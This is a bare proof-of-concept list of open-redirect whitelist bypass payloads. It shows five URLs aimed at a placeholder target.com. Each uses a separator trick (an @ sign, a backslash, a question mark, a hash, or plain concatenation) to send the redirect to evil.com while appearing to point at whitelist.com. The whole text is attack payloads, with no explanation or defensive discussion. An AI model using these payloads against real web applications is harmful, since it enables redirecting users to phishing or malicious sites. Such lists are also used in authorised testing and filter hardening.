POC
"@"
http://www.target.com/redirecturl=http://whitelist.com@evil.com
""
http://www.target.com/redirecturl=http://evil.coma.whitelist.com
"\"
http://www.target.com/redirecturl=http://evil.com\a.whitelist.com
"?"
http://www.target.com/redirecturl=http://evil.com?a.whitelist.com
"#"
http://www.target.com/redirecturl=http://evil.com#a.whitelist.com